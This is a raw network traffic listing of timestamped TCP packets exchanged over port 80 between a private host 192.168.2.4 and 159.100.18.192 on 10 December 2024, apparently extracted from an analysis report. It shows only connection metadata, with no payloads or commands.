                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.355659008 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.446953058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.446974039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.447062016 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.447261095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.447470903 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.447514057 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.448214054 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.448288918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.448327065 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.449253082 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.449335098 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.449398041 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.450237989 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.450269938 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.450309992 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.450862885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.450942039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.451064110 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.451658010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.451761007 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.451802969 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.452579021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.452702999 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.452744961 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.453438997 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.453550100 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.453594923 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.454319954 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.454441071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.454485893 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.455254078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.455365896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.455408096 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.456110001 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.456237078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.456285954 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.457005978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.457122087 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.457165003 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.457992077 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.458086014 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.458123922 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.458889008 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.458956957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.458997011 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.459693909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.459805012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.459847927 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.460583925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.460702896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.460747004 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.461493015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.461627007 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.461662054 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.462368011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.462471008 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.462505102 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.463274956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.463485956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.463521957 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.464296103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.464435101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.464474916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.465059042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.465220928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.465260029 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.465967894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.466146946 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.466187954 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.466847897 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.466948986 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.466989040 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.467736959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.467852116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.467895031 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.468679905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.468738079 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.468780041 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.469521046 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.469655037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.469695091 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.470438004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.470568895 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.470612049 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.471343994 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.471405029 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.471438885 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.472187042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.472302914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.472341061 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.473067999 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.473200083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.473244905 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.474071980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.474113941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.474157095 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.474843979 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.475013018 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.475060940 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.475759983 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.475892067 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.475931883 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.476653099 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.476804018 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.476846933 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.477595091 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.477694988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.477730989 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.478460073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.478598118 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.478643894 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.479353905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.479450941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.479490995 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.480209112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.480283976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.480321884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.481208086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.481308937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.481347084 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.482014894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.482141972 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.482177973 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.482907057 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.482991934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.483068943 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.483804941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.483891010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.483927011 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.484695911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.484812975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.484858036 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.485585928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.485795021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.485841036 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.486474037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.486583948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.486615896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.487382889 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.487483978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.487524033 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.488254070 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.488456011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.488508940 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.489155054 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.489264011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.489325047 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.490040064 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.490178108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.490219116 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.490935087 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.491090059 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.491131067 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.491846085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.491969109 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.492010117 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.492752075 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.492834091 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.492877007 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.493582964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.543168068 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.639143944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.639158964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.639168978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.639175892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.639240026 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640033007 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640109062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640145063 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640790939 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640871048 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.640913010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.641688108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.641803026 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.641836882 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.642584085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.642672062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.642705917 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.643593073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.643712997 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.643753052 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.644402027 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.644512892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.644558907 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.645260096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.645380020 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.645421028 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.646218061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.646285057 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.646326065 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.647077084 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.647121906 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.647166014 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.647939920 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.648011923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.648050070 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.648834944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.648958921 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.648997068 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.649740934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.649842024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.649879932 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.650649071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.650696039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.650734901 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.651559114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.651638031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.651674986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.652415991 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.652537107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.652580023 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.653299093 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.653403044 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.653443098 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.654200077 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.654314041 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.654350996 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.655102015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.655205965 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.655244112 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.656013012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.656120062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.656156063 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.656893969 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.656996965 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.657036066 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.657805920 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.657926083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.657968044 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.658689022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.658798933 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.658839941 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.659555912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.659681082 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.659720898 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.660487890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.660576105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.660615921 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.661364079 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.661463976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.661495924 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.662302971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.662355900 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.662396908 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.663142920 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.663227081 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.663264990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.664014101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.664129019 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.664163113 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.664993048 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.665249109 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.665292025 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.665905952 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.666023016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.666059971 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.666774035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.666893959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.666930914 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.667634964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.667701006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.667742968 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.668497086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.668617010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.668652058 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.669414043 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.669503927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.669542074 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.670386076 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.670433044 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.670475006 CET4974780192.168.2.4159.100.18.192
